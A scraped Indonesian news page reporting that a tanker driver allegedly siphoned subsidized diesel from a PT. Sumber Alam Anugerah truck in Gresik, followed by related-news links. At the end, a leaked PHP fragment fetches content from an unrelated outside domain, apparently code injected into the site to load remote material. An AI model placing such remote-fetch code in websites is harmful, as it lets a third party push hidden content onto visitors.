BBM Solar Tengki PT. Sumber Alam Anugerah diduga di Kencingkan Supir

Jumat, 27 September 2024

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Jawa Timur | jejakkasus.info – SJ Warga RT…. Dusun Turirejo, Desa Turirejo, Kecamatan Lawang Kabupaten Malang, Provinsi Jawa Timur diduga lakukan Atau Kencingkan Bahan Bakar Minyak (BBM) jenis Solar Subsidi dari sebuah Truk Tangki Kapasitas 24 Ribu liter yang di kendarainya.

Aksi SJ Kencingkan Bahan Bakar Minyak (BBM) jenis Solar Subsidi dari sebuah Truk Tangki dengan menggunakan beberapa Cerigen Plastik kapasitas 30 liter di Banjaran, Kecamatan Driyorejo, Kabupaten Gresik, Provinsi Jawa Timur. 17 September 2024 lalu saat kepergok LSM / Media. Jumat 27 September 2024

Baca Juga:  Bina Kemampuan dan Fisik, Pelatihan Puslatpasrat Laksanakan Cross Country

Adapun Nopol Tengki W 8261 UQ, Warna Kepala Tengki berwarna oranye, tengki atas berwarna Oranye bawah Putih.

Sementara itu lambung di kaca depan tertulis PT. Sumber Alam Anugerah, dan di Sebelah Kanan Kiri tertulis Pertamina Patra Niaga.

Baca Juga:  Jadi Penyedia Judi Togel, Seorang IRT Di Bangka Tengah Diringkus Tim Jatanras Polda Babel

Diduga keras hasil Kencingkan Bahan Bakar Minyak (BBM) jenis Solar Subsidi dari sebuah Truk Tangki tersebut ceperan di jual ke orang lain.

SJ dilokasi saat Kencingkan Bahan Bakar Minyak (BBM) jenis Solar Subsidi dari sebuah Truk Tangki saat di konfirmasi hanya pasrah.

Sementara itu dari pihak Big Bos PT. Sumber Alam Anugerah belum bisa di konfirmasi, dan aparat penegak hukum (APH) diharapkan ada tindakan.

Baca Juga:  Bupati Nias Yaatulo Gulo, Terima Kunker Wamenkeu Republik Indonesia.

Supriyanto alis ilyas Ketua Umum LSM Gmicak menjelaskan : penyalahgunaan pengangkutan dan niaga BBM bersubsidi dapat dipidana dengan hukuman penjara paling lama 6 tahun dan denda paling tinggi Rp 60 miliar. Hal ini sesuai dengan Pasal 55 Undang-undang Nomor 11 Tahun 2020 tentang Cipta Kerja.

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Ditresnarkoba Diringkus Polda Babel Miliki 2,6 Kg Sabu 14 Kg Ganja
Gegara Pokmas Tidak Pegang (RAB) Proyek SDN Kandangan 1 Senduro Kisruh, Pihak Sekolah Diundang Inspektorat
Satsamapta Polres Situbondo Polda Jatim Gerak Cepat (Gercep), Respon Laporan Masyarakat Terkait Peredaran Miras
Rayon Barat Polresta Sidoarjo Apel Bersama Oprasi Cooling System Tahun 2024 .
Wahyudi Dengan Tegas Menolak Kebijakan Pemerintah Yang Menaikan E Retribusi Di Situasi-Kondisi Pasar Sepi Dan Memprihatinkan Saat Ini
Waka II DPRD Badung I Made Wijaya Soroti: Peraturan Berbenturan,Nasib Tanah Negara Di Pererenan Menggantung
Kompol Muhammad Mukid Sosialisasi Penyebaran Narkoba Ke Pelajar
Personel Polsek Krueng Sabee Laksanakan Patroli KRYD, Sisir Lokasi Strategis untuk Jaga Keamanan

Berita Terkait

Jumat, 4 Oktober 2024 - 11:38 WIB

Ditresnarkoba Diringkus Polda Babel Miliki 2,6 Kg Sabu 14 Kg Ganja

Jumat, 4 Oktober 2024 - 00:48 WIB

Gegara Pokmas Tidak Pegang (RAB) Proyek SDN Kandangan 1 Senduro Kisruh, Pihak Sekolah Diundang Inspektorat

Jumat, 4 Oktober 2024 - 00:47 WIB

Satsamapta Polres Situbondo Polda Jatim Gerak Cepat (Gercep), Respon Laporan Masyarakat Terkait Peredaran Miras

Kamis, 3 Oktober 2024 - 18:47 WIB

Wahyudi Dengan Tegas Menolak Kebijakan Pemerintah Yang Menaikan E Retribusi Di Situasi-Kondisi Pasar Sepi Dan Memprihatinkan Saat Ini

Kamis, 3 Oktober 2024 - 16:44 WIB

Waka II DPRD Badung I Made Wijaya Soroti: Peraturan Berbenturan,Nasib Tanah Negara Di Pererenan Menggantung

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>